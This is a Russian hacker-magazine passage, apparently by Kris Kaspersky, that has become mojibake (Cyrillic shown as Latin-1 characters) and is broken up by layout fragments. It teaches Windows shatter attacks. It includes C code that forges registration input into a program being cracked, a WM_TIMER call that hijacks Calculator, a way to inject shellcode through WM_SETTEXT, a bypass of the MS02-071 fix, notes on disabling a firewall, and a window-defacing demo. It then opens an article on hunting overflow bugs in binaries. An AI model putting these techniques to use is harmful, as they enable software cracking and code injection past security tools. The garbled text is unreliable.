íàçâàíèÿìè), íî ñ îêíàìè ðåäàêòèðî-
âàíèÿ òàêîé ôîêóñ óæå íå ïðîõîäèò:
ïî óìîë÷àíèþ îíè âîîáùå íå ñîäåð-
æàò â ñåáå íèêàêîé èíôîðìàöèè. Â
ïðèíöèïå, ìîæíî ïîëó÷èòü èäåíòèôè-
êàòîð ýëåìåíòà óïðàâëåíèÿ, êñòàòè ãî-
âîðÿ, íå çàâèñÿùèé îò ÿçûêîâîé
ðàñêëàäêè è îäèíàêîâî õîðîøî ðàáî-
òàþùèé êàê íà àíãëîÿçû÷íûõ, òàê è
íà ðóñèôèöèðîâàííûõ ïðèëîæåíèÿõ,
íî çà÷åì óñëîæíÿòü ñåáå æèçíü?

Ïîðÿäîê ïåðå÷èñëåíèÿ îêîí âñåãäà
îäèí è òîò æå, çíà÷èò, îïðåäåëèâ íàç-
íà÷åíèå êàæäîãî èç äî÷åðíèõ îêîí
ýêñïåðèìåíòàëüíî (èëè ñ ïîìîùüþ
øïèîíñêèõ ñðåäñòâ òèïà Spyxx èç êîìï-
ëåêòà SDK), òû ìîæåøü æåñòêî ïðîïè-
ñàòü èõ íîìåðà â ñâîåé ïðîãðàììå. 

ÆÌÅÌ ÍÀ ×ÓÆÈÅ ÊÍÎÏÊÈ
Êàê âèäíî, ââîä/âûâîä òåêñòà â

îêíî ðåäàêòèðîâàíèÿ íå âûçûâàåò
áîëüøèõ ïðîáëåì:
WM_SETTEXT/WM_GETTEXT è âñå
ïó÷êîì. Íàæàòü íà êíîïêó "ïðîãðàì-
ìíî" íåñêîëüêî ñëîæíåå. Ïîñûëêà ñî-
îáùåíèÿ BM_SETSTATE ýëåìåíòó óï-
ðàâëåíèÿ òèïà "êíîïêà" åùå íå ïðè-
âîäèò ê åå íàæàòèþ. Äëÿ êîððåêòíîé
ýìóëÿöèè ââîäà òû, âî-ïåðâûõ, äîë-
æåí óñòàíîâèòü ôîêóñ (WM_SETFO-
CUS), à ïîñëå ïåðåâîäà êíîïêè â ñîñ-
òîÿíèå "íàæàòî" óáèòü ýòîò ôîêóñ
(WM_KILLFOCUS), òàê êàê êíîïêè ñðà-
áàòûâàþò íå â ìîìåíò èõ íàæàòèÿ, à â
ìîìåíò îòïóñêàíèÿ. 

Êñòàòè, åñëè â ðîëè óáèéöû ôîêóñà
âûñòóïàåò ôóíêöèÿ SendMessage, òî
ïîòîê, ýìóëèðóþùèé ââîä, áëîêèðó-
åòñÿ âïëîòü äî òîãî ìîìåíòà, ïîêà
îáðàáîò÷èê íàæàòèÿ êíîïêè íå âîçâ-
ðàòèò öèêëó âûáîðêè ñîîáùåíèé ñâî-
åãî óïðàâëåíèÿ. ×òîáû ýòîãî íå ïðî-
èçîøëî, ñëåäóåò èñïîëüçîâàòü
ôóíêöèþ PostMessage, êîòîðàÿ ïî-
ñûëàåò ñîîáùåíèå è, íå äîæèäàÿñü
îòâåòà, êàê íè â ÷åì íå áûâàëî ïðî-
äîëæàåò âûïîëíåíèå.
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Ïîëó÷èòü äåñê-
ðèïòîð èíòåðå-
ñóþùåãî òåáÿ
ïðèëîæåíèÿ -
ñàìîå ïðîñòîå,
ãåìîððîé íà÷è-
íàåòñÿ ñ äî-
÷åðíèìè îêíà-
ìè è èõ ýëå-
ìåíòàìè óï-
ðàâëåíèÿ.

Ïðè ïåðåñûëêå
ñîîáùåíèÿ îò
îäíîãî ïðèëî-
æåíèÿ äðóãîìó
ìåõàíèçìû àó-
òåíòèôèêàöèè
íå çàäåéñòâó-
þòñÿ!

Øïèîí Spyxx, êîòîðûé îòîáðàæàåò ýëåìåíòû óïðàâëå-
íèÿ, ïîçâîëÿþùèå îòêëþ÷àòü SyGate Personal Firewall

input_but = hwnd;
return 0;

}
return 1;

}

int main(int argc, char* argv[])
{

// ïåðå÷èñëÿåì îêíà âåðõíåãî óðîâíÿ â ïîèñêå íàøåãî
EnumWindows(&EnumWindowsProc, 0);
if (me_hwnd == 0) 
{

printf("-ERR: %s not running!\x7\n", NAMEWIN);
return -1;

}

// ïîëó÷àåì õýíäëû èíòåðåñóþùèõ íàñ äî÷åðíèõ îêîí
EnumChildWindows(me_hwnd, &EnumChildWindowsProc, 0);

// ïîëó÷àåì èìÿ ïîëüçîâàòåëÿ è, åñëè îíî íåäîñòàòî÷íî äëèííîå,
// ââîäèì èìÿ õàêåðà ïî óìîë÷àíèþ ;)
while(1)
{

// ïîëó÷èò ââåäåííîå èìÿ
SendMessage(username, WM_GETTEXT, MAX_STR, (int) username_buf);
if (strlen(username_buf)>=0xA) break; else
{

SendMessage(username, WM_SETFOCUS, 1, 0);
SendMessage(username, WM_SETTEXT, 0, (int) &MY_NAME);
SendMessage(username, WM_KILLFOCUS, 1, 0);

}
}

// ââîäèì ñãåíåðèðîâàííûé íîìåð â îêíî ëîìàåìîãî ïðèëîæåíèÿ
SendMessage(regnum, WM_SETTEXT, 0, (int) regnum_buf);

// óêàçûâàåì, ÷òî ýòîò íîìåð - ïîääåëüíûé
SendMessage(hackreg, WM_SETTEXT, 0, (int) HACKREG);

// íàæèìàåì íà êíîïêó "Ââîä"
SendMessage(input_but, WM_SETFOCUS, 1, 0);
SendMessage(input_but, BM_SETSTATE, 1, 0);
PostMessage(input_but, WM_KILLFOCUS, 0, 0);

// ñâàëèâàåì îòñþäà
return 0;

}

ÔÐÀÃÌÅÍÒ ÀÂÒÎÌÀÒÈ×ÅÑÊÎÃÎ ÐÅÃÈÑÒÐÀÒÎÐÀ,
ÄÅÌÎÍÑÒÐÈÐÓÞÙÈÉ ÒÅÕÍÈÊÓ ÝÌÓËßÖÈÈ ÂÂÎÄÀ



Âñå ýòî, êîíå÷íî, õîðîøî, íî âíåä-
ðèòü êîä â ÷óæîé ïðîöåññ íàìíîãî èí-
òåðåñíåå! Òðàäèöèîííûå ñïîñîáû ñ
ïîäêëþ÷åíèåì ñîáñòâåííîé DLL,
WriteProcessMemory èëè
CreateRemoteThread òóò íå ãîäÿòñÿ,
ïîñêîëüêó ðàçðàáîò÷èêè àíòèâèðóñîâ
è ôàéðâîëîâ õîðîøî îñâåäîìëåíû î
íèõ è ïðèíèìàþò öåëûé êîìïëåêñ çà-
ùèòíûõ ìåð, ñïðàâèòüñÿ ñ êîòîðûìè
íå òàê-òî ëåãêî. Íî ìû âñå ðàâíî ïåðå-
õèòðèì èõ :).

Ñîîáùåíèå WM_TIMER ïîçâîëÿåò
ïåðåäàâàòü íå òîëüêî èäåíòèôèêàòîð
òàéìåðà, íî è àäðåñ òàéìåðíîé ïðîöå-
äóðû, âûçûâàåìîé îïåðàöèîííîé ñèñ-
òåìîé íåçàâèñèìî îò òîãî, áûë ëè
ïðåäâàðèòåëüíî âçâåäåí òàéìåð. Ñëå-
äóþùèé áåñõèòðîñòíûé êîä ïåðåõâà-
òûâàåò óïðàâëåíèå ó "Êàëüêóëÿòîðà"
è ïåðåäàåò åãî ïî àäðåñó 401234h:

h=FindWindow(0, "Êàëüêóëÿòîð");
SendMessage(h, WM_TIMER, 0, 0x401234);

Àäðåñ 0x401234 âûáðàí ÷èñòî äëÿ
ïðèìåðà. Íè÷åãî èíòåðåñíîãî çäåñü
íåò. Êàëüêóëÿòîð ïðîñòî óïàäåò. Äëÿ
äîñòèæåíèÿ îñìûñëåííîãî ðåçóëüòàòà
àòàêóåìîìó ïðèëîæåíèþ íåîáõîäèìî
êàê-òî ïåðåäàòü çëîâðåäíûé shell-êîä.
À êàê ýòî ìîæíî ñäåëàòü? Ñàìîå ïðîñ-
òîå - íàéòè ëþáîå îêíî ðåäàêòèðîâà-
íèÿ è ïîñëàòü åìó WM_SETTEXT, òîëü-

êî âìåñòî òåêñòà çäåñü áóäåò shell-êîä.
Åñëè íåò ñòðîêè ðåäàêòèðîâàíèÿ - íå
áåäà. Íà õóäîé êîíåö ñãîäèòñÿ è çàãî-
ëîâîê ãëàâíîãî èëè äî÷åðíåãî îêíà,
ïðàâäà, íà ñàì shell-êîä â ýòîì ñëó÷àå
áóäóò íàëîæåíû æåñòêèå îãðàíè÷å-
íèÿ. Îñòàåòñÿ ëèøü îïðåäåëèòü àäðåñ
áóôåðà, â êîòîðîì õðàíèòñÿ ñîäåðæè-
ìîå îêíà. À õðàíèòñÿ îíî âî âïîëíå
ïðåäñêàçóåìûõ áóôåðàõ: èõ ìåñòîïî-
ëîæåíèå ëåãêî ïîä-
ñìîòðåòü ïîä îòëàä÷èêîì.
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#define s "Hello, World!"
#define _EVENT_ 10
#define _PER_ 10
#define _N_ 5

HWND h=0;

main(int argc, char **argv)
{

int a; HDC dc; RECT rect, fill_rect; HBRUSH br; HFONT font; char buf[100];

h=FindWindow(0, "Êàëüêóëÿòîð");
//h=FindWindow(0, "Îáðàáîò÷èê êîìàíä Windows NT");
//h=FindWindow(0, "Êîìàíäíàÿ ñòðîêà");

if (argc > 1) h=FindWindow(0, argv[1]);
if (h==0) return -1;

dc = GetDC(h); if (dc)
{

br=CreateSolidBrush(RGB(69,0,0));
rect.left=1; rect.right=1000; rect.top=1; rect.bottom=1000;
GetClientRect(h, &rect);

font=CreateFont(rect.bottom/2,rect.right/strlen(s),0,0,100,0,0,0,
ANSI_CHARSET, OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,
DEFAULT_QUALITY,FF_MODERN, "Comic Sans MS");

fill_rect.top=3*rect.bottom/4; fill_rect.bottom=rect.bottom-10;
fill_rect.left=10; fill_rect.right=10; ReleaseDC(h, dc);

for (a=0; a < 255; a++)
{

printf("\r%03d",100*a/255);
if (dc = GetDC(h))
{

SelectObject(dc, font);SetBkMode(dc, TRANSPARENT);
SetTextColor(dc, rand()); //RGB(255-a,0,0));
TextOut(dc, 0, rect.bottom/8, s ,strlen(s) );
ReleaseDC(h, dc);

}
SetWindowText(h, ltoa(100*a/255,buf,10)); Sleep(69);

}
SendMessage(h, WM_SYSCOMMAND, SC_MINIMIZE, 0); Sleep(69);
SendMessage(h, WM_SYSCOMMAND, SC_RESTORE, 0);
SetWindowText(h, "Hello, Sailor!");
for (a=0; a < 10; a++) {ShowWindow(h, a & 1); Sleep(69);}

}else printf("-ERR\n");

ÄÅÔÅÉÑÈÌ ÊÀËÜÊÓËßÒÎÐ È ÄÐÓÃÈÅ ÏÐÎÃÐÀÌÌÛ

"Àâòîìàòè÷åñêîå" ñ÷èòûâàíèå èìåíè ïîëüçîâàòåëÿ, ââîä ðåãèñòðàöèîííîãî íîìåðà è ýìóëÿöèÿ íàæà-
òèÿ "ââîä"

Äåôåéñåíûé êàëüêóëÿòîð

Äåôåéñåíûé êîìàíäíûé èíòåðïðåòàòîð

Ñàìîå ïðîñòîå - íàéòè ëþáîå 
îêíî ðåäàêòèðîâàíèÿ è ïîñëàòü 

åìó WM_SETTEXT



Ýòîò ïðèåì ðàáîòàåò âî âñåõ îïåðà-
öèîííûõ ñèñòåìàõ ñåìåéñòâà Windows,
âêëþ÷àÿ íåïàò÷åíóþ XP. Â íà÷àëå
2003 ãîäà áàã ñ òàéìåðîì áûë èñïðàâ-
ëåí, î ÷åì ìîæíî ïðî÷èòàòü â
Microsoft Security Bulletin'å çà íîìåðîì
MS02-071. Íà ñàìîì äåëå ðàäèêàëüíîé
ñìåíû ïàðàäèãìû òàê è íå ïðîèçîøëî.
Ðàçðàáîò÷èêè òàê è íå ðèñêíóëè òðî-
ãàòü ñèñòåìó ñîîáùåíèé, îãðàíè÷èâ-
øèñü ïàðîé äîïîëíèòåëüíûõ ïðîâå-
ðîê â USER32.DLL. Òåïåðü ïîñûëàòü
ñîîáùåíèå WM_TIMER ìîæíî òîëüêî
ñâîåìó ñîáñòâåííîìó îêíó. Íî
USER32.DLL - ýòî æå âñåãî ëèøü
"îáåðòêà" ïîâåðõ win32k.sys, è åå ìîæ-
íî îáîéòè! Äîñòàòî÷íî íåìíîãî ïîò-
ðàññèðîâàòü SendMessageA è â íóæ-
íîì ìåñòå ïåðåïðûãíóòü ÷åðåç "ëå-
âûé" jxx, êîòîðûé ìîæíî íàéòè ïî
øàáëîíó "cmp xxx,113h/jxx". Ê ïðèìåðó:

.text:77E1554D cmp     eax, 113h     ; WM_TIMER

.text:77E15551 jnz       loc_77E15692

.text:77E15557 mov     ecx, eax

Âñå, ÷òî íóæíî ñäåëàòü, - äîæäàòüñÿ
âûïîëíåíèÿ êîìàíäû cmp eax,113h è
ïåðåäàòü óïðàâëåíèå ïî àäðåñó
77E15557h. Òåïåðü ñîîáùåíèå
WM_TIMER áóäåò äîñòàâëÿòüñÿ íåçà-
âèñèìî îò òåððèòîðèàëüíîé ïðèíàä-
ëåæíîñòè àòàêóåìîãî îêíà. À òðàññè-
ðîâàòü ñâîþ ñîáñòâåííóþ ïðîåêöèþ
USER32.DLL íàì íèêòî íå çàïðåùàåò.
Âî âñÿêîì ñëó÷àå ïîêà...

Ðàçóìååòñÿ, îò ýìóëÿöèè êëàâèà-
òóðíîãî ââîäà àíòèâèðóñ ìîæåò çà-
ùèòèòüñÿ: íàïðèìåð, ïåðåä êàæäûì
èçìåíåíèåì êîíôèãóðàöèè çàäàâàòü
ñëó÷àéíûé âîïðîñ èç ñåðèè "Ñêîëü-
êî áóäåò äâàæäû äâà?". ×åëîâåê
ëåãêî îòâåòèò, à âèðóñ - åäâà ëè.
Ïðîñòîé ïàðîëüíîé çàùèòû çäåñü
ÿâíî íåäîñòàòî÷íî, ïîñêîëüêó ïå-
ðåõâàò ïàðîëÿ íå ÿâëÿåòñÿ áîëüøîé
ïðîáëåìîé. Íî âîò îò WM_TIMER íà
ïðèêëàäíîì óðîâíå íèêàêîé çàùèòû
íåò! È íå áóäåò äî òåõ ïîð, ïîêà
Microsoft íå âûïóñòèò î÷åðåäíóþ
çàïëàòêó, íà ýòîò ðàç äåéñòâèòåëüíî
èñïðàâëÿþùóþ äûðó, à íå äåëàþ-
ùóþ ìîðäó òàïêîì. E

Êîâàðíîå ñîîáùåíèå WM_TIMER

Äèçàññåìáëèðîâàíèå ôóíêöèè SendMessageA ïðè ïîìîùè IDA Pro



Êðèñ Êàñïåðñêè aka ìûùúõ

È ñõîäíûå òåêñòû Linux'à è äðóãèõ open source-ñèñòåì â ïðÿìîì ñìûñëå çà÷èòàíû äî äûð, è íàéòè çäåñü ÷òî-òî
ïðèíöèïèàëüíî íîâîå î÷åíü òðóäíî. Windows � äðóãîå äåëî.

ULTIMATE 
ADVENTURE
ÑÒÐÀÒÅÃÈß ÏÎÈÑÊÀ ÄÛÐ Â ÄÂÎÈ×ÍÎÌ ÊÎÄÅ

åïðîõîäèìûå äæóíãëè
äâîè÷íîãî êîäà îòïóãè-
âàþò íîâè÷êîâ, è îã-
ðîìíûå òåððèòîðèè äèç-
àññåìáëåðíûõ ëèñòèí-

ãîâ âñå åùå îñòàþòñÿ íåèçâåäàííûìè.
Ïðè÷óäëèâûå ïåðåïëåòåíèÿ âëîæåí-
íûõ âûçîâîâ ñêðûâàþò ìîðå ãðóáûõ
îøèáîê ïðîãðàììèñòîâ è äàþò íåîãðà-
íè÷åííóþ âëàñòü íàä ñèñòåìîé. Ïîï-
ðîáóé íàéòè èõ, à ÿ ïîêàæó, êàê.

Ñ÷èòàåòñÿ, ÷òî îòêðûòîñòü èñõîäíîãî
êîäà � çàëîã íàäåæíîñòè ëþáîé ñèñòå-
ìû, ïîñêîëüêó ñïðÿòàòü çàêëàäêó
(÷åðíûé õîä, òðîÿíñêóþ êîìïîíåíòó) â
òàêèõ óñëîâèÿõ ïðàêòè÷åñêè íåâîç-
ìîæíî. Òûñÿ÷è ýêñïåðòîâ è ýíòóçèàñ-
òîâ ñî âñåãî ìèðà òùàòåëüíî ïðîàíà-
ëèçèðóþò ïðîãðàììó è âûëîâÿò âñåõ
áëîõ � êàê ñëó÷àéíûõ, òàê è âûïóùåí-
íûõ íàìåðåííî. ×òî æå êàñàåòñÿ îò-
êîìïèëèðîâàííîãî äâîè÷íîãî êîäà,
òðóäîåìêîñòü åãî àíàëèçà íåîïðàâ-
äàííî âåëèêà, è íèêòî íå áóäåò âî-
çèòüñÿ ñ íèì "çà ïðîñòî òàê". ×òî æ,
äîñòîéíûé àðãóìåíò ñòîðîííèêîâ äâè-
æåíèÿ Open Source, èçâåñòíûõ ñâîèì
ðàäèêàëèçìîì è îòðèöàíèåì îáúåê-
òèâíîé ðåàëüíîñòè.

À ðåàëüíîñòü òàêîâà, ÷òî ïðîàíàëè-
çèðîâàòü èñõîäíûé êîä ñîâðåìåííûõ
ïðèëîæåíèé çà ðàçóìíîå âðåìÿ íè
ôèçè÷åñêè, íè ýêîíîìè÷åñêè íåâîç-
ìîæíî. Äàæå ñòàðóøêà MS-DOS 6.0 â
èñõîäíûõ òåêñòàõ âåñèò ñâûøå 60 Ìá.
Äëÿ ñðàâíåíèÿ, "Generation Ï" Âèêòî-
ðà Ïåëåâèíà íå äîòÿãèâàåò è äî ìåãà-
áàéòà. Äàæå åñëè óïîäîáèòü èñõîä-
íûå òåêñòû ðàçâëåêàòåëüíîé êíèãå,
ïîäñ÷èòàé, ñêîëüêî âðåìåíè ïîíàäî-
áèòñÿ äëÿ èõ ïðî÷òåíèÿ? À èñõîäíûå
òåêñòû � ñîâñåì íå õóäîæåñòâåííîå
ïðîèçâåäåíèå. Ýòî íàãðîìîæäåíèå
ñëîæíî âçàèìîäåéñòâóþùèõ äðóã ñ
äðóãîì ñòðóêòóð äàííûõ, òåñíî ïåðåï-
ëåòåííûõ ñ ìàøèííûì êîäîì�

Ïðè ñðåäíåé äëèíå îäíîé x86-êî-
ìàíäû â äâà áàéòà êàæäûé êèëîáàéò
îòêîìïèëèðîâàííîãî êîäà íåñåò íà
ñâîèõ ïëå÷àõ ïîðÿäêà ïÿòèñîò (!) äèç-
àññåìáëåðíûõ ñòðîê, ñîîòâåòñòâóþ-
ùèõ äåñÿòè ñòðàíèöàì ïå÷àòíîãî òåêñ-
òà. Ïðî÷èòàòü ìåãàáàéòíûé äâîè÷íûé
ðîìàí çà ðàçóìíîå âðåìÿ óæå íåâîç-

ìîæíî. Ñîâðåìåííûå ïðîãðàììíûå
êîìïëåêñû íå ìîãóò áûòü èññëåäîâà-
íû äî ïîñëåäíåé çàïÿòîé, è íàëè÷èå
èñõîäíûõ òåêñòîâ íè÷åãî íå ìåíÿåò.
Êàêàÿ ðàçíèöà, ñêîëüêî âðåìåíè
ïðîäëèòñÿ ðàáîòà � òûñÿ÷ó ëåò èëè
ìèëëèîí? Ïðîöåäóðà ïîèñêà äûð ïëî-
õî ïîääàåòñÿ ðàñïàðàëëåëèâàíèþ
ìåæäó ó÷àñòíèêàìè, òàê êàê îòäåëü-
íûå ó÷àñòêè ïðîãðàììû âûïîëíÿþòñÿ
îòíþäü íå èçîëèðîâàííî äðóã îò äðó-
ãà, à ñëîæíûì îáðàçîì âçàèìîäåé-
ñòâóþò ìåæäó ñîáîé, è äàëåêî íå âñå
îøèáêè ñîñðåäîòî÷åíû â îäíîì ìåñ-
òå, ìíîãèå èç íèõ "ðàçìàçàíû" ïî
áîëüøîé ïëîùàäè, à â ìíîãîïîòî÷íûõ
ñðåäàõ åùå è ðàñòÿíóòû âî âðåìåíè.

Ìåòîäèê àâòîìàòèçèðîâàííîãî ïîèñ-
êà óÿçâèìîñòåé, äîâåäåííûõ äî "ïðî-
ìûøëåííîãî" èñïîëüçîâàíèÿ, â íàñ-
òîÿùåå âðåìÿ íå ñóùåñòâóåò, è èõ ïî-
ÿâëåíèå â áóäóùåì ìàëîâåðîÿòíî.
Íåïîñðåäñòâåííûé àíàëèç îáíàðóæè-
âàåò ëèøü ìàëóþ òîëèêó íàèáîëåå
ãðóáûõ è ñàìîî÷åâèäíûõ îøèáîê. Îñ-
òàëüíûå æå ïðèõîäèòñÿ âûÿâëÿòü â
ïðîöåññå ðåàëüíîé ýêñïëóàòàöèè
ïðîãðàììû. Òåì íå ìåíåå, ñòàòèñòè-
÷åñêèå èññëåäîâàíèÿ ïîêàçûâàþò, ÷òî
îøèáêè âîçíèêàþò íå ïðîñòî òàê. Â
íèõ åñòü ñâîÿ âíóòðåííÿÿ ñèñòåìà è
çàêîíîìåðíîñòü, áëàãîäàðÿ ÷åìó
ðàéîí "àðõåîëîãè÷åñêèõ ðàñêîïîê" ñó-
ùåñòâåííî ñóæàåòñÿ è îáúåì äèçàñ-
ñåìáëåðíûõ ðàáîò ñòàíîâèòñÿ âïîëíå
ðåàëüíûì.

Àíàëèç ìàøèííîãî êîäà èìååò ñâîè
ñèëüíûå è ñëàáûå ñòîðîíû. Õîðîøàÿ
íîâîñòü: çäåñü íåò ýòèõ ÷óäîâèùíûõ
äåôàéíîâ (äèðåêòèâ óñëîâíîé òðàíñ-
ëÿöèè � define) è íå íóæíî êàæäûé
ðàç îòâëåêàòüñÿ íà âûÿñíåíèå îáñòî-
ÿòåëüñòâ, êàêîé êîä êîìïèëèðóåòñÿ, à
êàêîé èäåò ëåñîì. Íåò ìàêðîñîâ (îñî-
áåííî ìíîãîñòðî÷íûõ), è ìû âñåãäà
ìîæåò îòëè÷èòü ôóíêöèè îò êîíñòàíò,
à êîíñòàíòû îò ïåðåìåííûõ. Îòñóò-
ñòâóåò ïåðåêðûòèå îïåðàòîðîâ è íå-
ÿâíûé âûçîâ êîíñòðóêòîðîâ (ïðàâäà,
äåñòðóêòîðû ãëîáàëüíûõ êëàññîâ ïî-
ïðåæíåìó âûçûâàþòñÿ íåÿâíî). Êîðî-
÷å ãîâîðÿ, êîìïèëÿòîð èçáàâëÿåò íàñ
îò äþæèíû øòó÷åê, çàòðóäíÿþùèõ
÷òåíèå ëèñòèíãîâ (êàê øóòÿò ïðîãðàì-

ìèñòû, Ñ/Ñ++ - ýòî ÿçûêè òîëüêî äëÿ
çàïèñè, write only).

Ïëîõèå íîâîñòè: îäíà-åäèíñòâåííàÿ
ñòðîêà èñõîäíîãî òåêñòà ìîæåò ñîîò-
âåòñòâîâàòü äåñÿòêàì ìàøèííûõ êî-
ìàíä, ïðè÷åì îïòèìèçèðóþùèå êîì-
ïèëÿòîðû òðàíñëèðóþò ïðîãðàììó íå
ïîñëåäîâàòåëüíî, à ïðîèçâîëüíûì
îáðàçîì ïåðåìåøèâàþò ìàøèííûå
êîìàíäû ñîñåäíèõ ñòðîê èñõîäíîãî
êîäà, ïðåâðàùàÿ äèçàññåìáëåðíûé
ëèñòèíã â íàñòîÿùóþ ãîëîâîëîìêó.
Âñå âûñîêîóðîâíåâûå êîíñòðóêöèè
óïðàâëåíèÿ (öèêëû, âåòâëåíèÿ) ðàç-
áèâàþòñÿ íà öåïî÷êó óñëîâíûõ ïåðå-
õîäîâ, ñîîòâåòñòâóþùóþ îïåðàòîðó IF
GOTO ðàííèõ äèàëåêòîâ Áåéñèêà. Êîì-
ìåíòàðèè îòñóòñòâóþò. Ñòðóêòóðû äàí-
íûõ óíè÷òîæàþòñÿ. Ñèìâîëüíûå èìå-
íà ñîõðàíÿþòñÿ ëèøü ÷àñòè÷íî � â
RTTI-êëàññàõ è íåêîòîðûõ èìïîðòèðó-
åìûõ/ýêñïîðòèðóåìûõ ôóíêöèÿõ. Èå-
ðàðõèÿ êëàññîâ ñî ñëîæíûì íàñëåäî-
âàíèåì, êàê ïðàâèëî, ìîæåò áûòü ïîë-
íîñòüþ âîññòàíîâëåíà, íî ðàñõîä âðå-
ìåíè íà ðåêîíñòðóêöèþ áóäåò ñëèø-
êîì âåëèê.

Ïîðàçèòåëüíî, íî ïðè âñåõ ñâîèõ
ðàçëè÷èÿõ ìåòîäèêè àíàëèçà ìàøèí-
íîãî è èñõîäíîãî êîäà óäèâèòåëüíî
ñõîæè, ÷òî óðàâíèâàåò îáå ñòîðîíû â
ïðàâàõ. Äèçàññåìáëèðîâàíèå � âîâñå
íå òàêîå òàèíñòâåííîå çàíÿòèå, êàêèì
îíî ïîíà÷àëó êàæåòñÿ, è îíî âïîëíå
ïî ñèëàì èíæåíåðó ñðåäíåé ðóêè.
Åñòü ñìûñë íàéòè è ïðî÷èòàòü "Ôóí-
äàìåíòàëüíûå îñíîâû õàêåðñòâà",
"Îáðàç ìûøëåíèÿ ÈÄÀ" è "Òåõíèêó è
ôèëîñîôèþ õàêåðñêèõ àòàê � çàïèñêè
ìûùúõà" èëè ëþáûå äðóãèå êíèãè ïî
ýòîé òåìå, èíà÷å ýòà ñòàòüÿ ðèñêóåò
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îêàçàòüñÿ ñëèøêîì àáñòðàêòíîé è íå-
ïîíÿòíîé.

ÎØÈÁÊÈ ÏÅÐÅÏÎËÍÅÍÈß
Ëþáàÿ ïðîãðàììà â çíà÷èòåëüíîé

ìåðå ñîñòîèò èç áèáëèîòåê, àíàëèçè-
ðîâàòü êîòîðûå áåññìûñëåííî: îíè
óæå äàâíûì-äàâíî ïðîàíàëèçèðîâà-
íû, è íèêàêèõ ðàäèêàëüíî íîâûõ äûð
çäåñü íåò. Ê òîìó æå ïîäàâëÿþùåå
áîëüøèíñòâî áèáëèîòåê ðàñïðîñòðà-
íÿåòñÿ âìåñòå ñ èñõîäíûìè òåêñòàìè,
òàê ÷òî êîðïåòü íàä èõ äèçàññåìáëè-
ðîâàíèåì âäâîéíå íåíóæíî. Êàê ïðà-
âèëî, áèáëèîòå÷íûé êîä ðàñïîëàãàåò-
ñÿ ïîçàäè îñíîâíîãî êîäà ïðîãðàììû,
è îòäåëèòü åãî äîñòàòî÷íî ïðîñòî.
Ñëîæíåå èäåíòèôèöèðîâàòü èìåíà
áèáëèîòå÷íûõ ôóíêöèé, áåç çíàíèÿ
êîòîðûõ ìû êîíêðåòíî çàâÿçíåì â
ïðîñòûíå äèçàññåìáëåðíûõ ëèñòèí-
ãîâ, ñëîâíî â òðÿñèíå. Ê ñ÷àñòüþ, ïî-
äàâëÿþùåå áîëüøèíñòâî ñòàíäàðò-
íûõ áèáëèîòåê àâòîìàòè÷åñêè ðàñïî-
çíàþòñÿ Èäîé. Ñèãíàòóðû æå ýêçîòè-
÷åñêèõ áèáëèîòåê îò ñòîðîííèõ ïðîèç-
âîäèòåëåé â ëþáîé ìîìåíò ìîæíî äî-
áàâèòü è ñàìîñòîÿòåëüíî, áëàãî IDA
äîïóñêàåò òàêóþ âîçìîæíîñòü (ïîä-
ðîáíîñòè â "Hacker Disassembling
Uncovered" by Kris Kaspersky è øòàò-
íîé äîêóìåíòàöèè).

Ðåøåíèå î çàãðóçêå òîé èëè èíîé
ñèãíàòóðíîé áàçû ïðèíèìàåòñÿ IDA íà
îñíîâå àíàëèçà ñòàðòîâîãî êîäà, è
"÷óæåðîäíûå" áèáëèîòåêè ðèñêóþò
îñòàòüñÿ íåðàñïîçíàííûìè. Òî æå ñà-
ìîå ïðîèñõîäèò è ïðè çàãðóçêå äàì-
ïîâ ïàìÿòè ñ ïîâðåæäåííûì èëè îò-
ñóòñòâóþùèì ñòàðòîâûì êîäîì èëè
íåâåðíî óñòàíîâëåííîé Entry Point
(õðîíè÷åñêàÿ áîëåçíü âñåõ äàìïå-
ðîâ). Ïîýòîìó, åñëè áîëüøàÿ ÷àñòü
ôóíêöèé ïðîãðàììû îñòàëàñü íåðàñ-
ïîçíàííîé (ñì. ðèñ. 7), ïîïðîáóé ïîäê-
ëþ÷èòü ñèãíàòóðíóþ áàçó âðó÷íóþ,
âûáðàâ â ìåíþ File\Load file ïóíêò
FLIRT Signature file. Ïîÿâèòñÿ îáøèð-
íûé ïåðå÷åíü èçâåñòíûõ Èäå áèáëèî-
òåê (ñì. ðèñ. 9). Êàêóþ èç íèõ âûá-
ðàòü? Åñëè òû íîâè÷îê â äèçàññåìá-
ëèðîâàíèè è íóæíóþ áèáëèîòåêó íå
óäàåòñÿ îòîæäåñòâèòü "âèçóàëüíî",
äåéñòâóé ìåòîäîì ïåðåáîðà, çàãðóæàÿ
îäíó ñèãíàòóðó çà äðóãîé, äîáèâàÿñü
ìàêñèìàëüíîãî ðàñøèðåíèÿ ãîëóáîé
çàëèâêè (ñì. ðèñ. 8)

Ïðîñìàòðèâàÿ ñïèñîê ðàñïîçíàííûõ
è èìïîðòèðóåìûõ ôóíêöèé, îòáåðåì
ñàìûå îïàñíûå èç íèõ. Â ïåðâóþ î÷å-
ðåäü ê íèì îòíîñÿòñÿ ôóíêöèè, ïðèíè-
ìàþùèå óêàçàòåëü íà âûäåëåííûé
áóôåð è âîçâðàùàþùèå äàííûå çà-
ðàíåå íå ïðåäñêàçóåìîãî ðàçìåðà
(íàïðèìåð sprintf, gets è ò.ä.). Ôóíêöèè
ñ ÿâíûì îãðàíè÷åíèåì ïðåäåëüíî äî-
ïóñòèìîé äëèíû áóôåðà (fgets,
GetWindowText, GetFullPathName) íàì-
íîãî ìåíåå îïàñíû, îäíàêî íèêàêèõ
ãàðàíòèé èõ ëîÿëüíîñòè íè ó êîãî íåò.
Î÷åíü ÷àñòî ïðîãðàììèñò âûäåëÿåò
áóôåð ðàçìåðîì íàìíîãî ìåíüøå è
ïðåäîõðàíèòåëüíûé êëàïàí íå ñðàáà-
òûâàåò. Ïðèìåðà â ëèñòèíãå 1. Î÷åâèä-
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Ïðîñìàòðèâàÿ
HEX-äàìï, îá-
ðàùàé âíèìà-
íèå íà íåäîêó-
ìåíòèðîâàííûå
êëþ÷è (÷àùå
âñåãî îíè çà-
ïèñàíû ïðÿ-
ìûì òåêñòîì):
íåêîòîðûå èç
íèõ ïîçâîëÿþò
îáîéòè ñèñòåìó
áåçîïàñíîñòè è
ñäåëàòü ñ ïðîã-
ðàììîé íåïðåä-
óñìîòðåííûå
âåùè.

Ïðè ïîèñêå ïå-
ðåïîëíÿþùèõ-
ñÿ áóôåðîâ
ìåòîäîì ñëå-
ïîãî ïåðåáîðà
òåñòèðóé ðàç-
ëè÷íûå äëèíû
ñòðîê, à íå
òîëüêî ñòðîêè
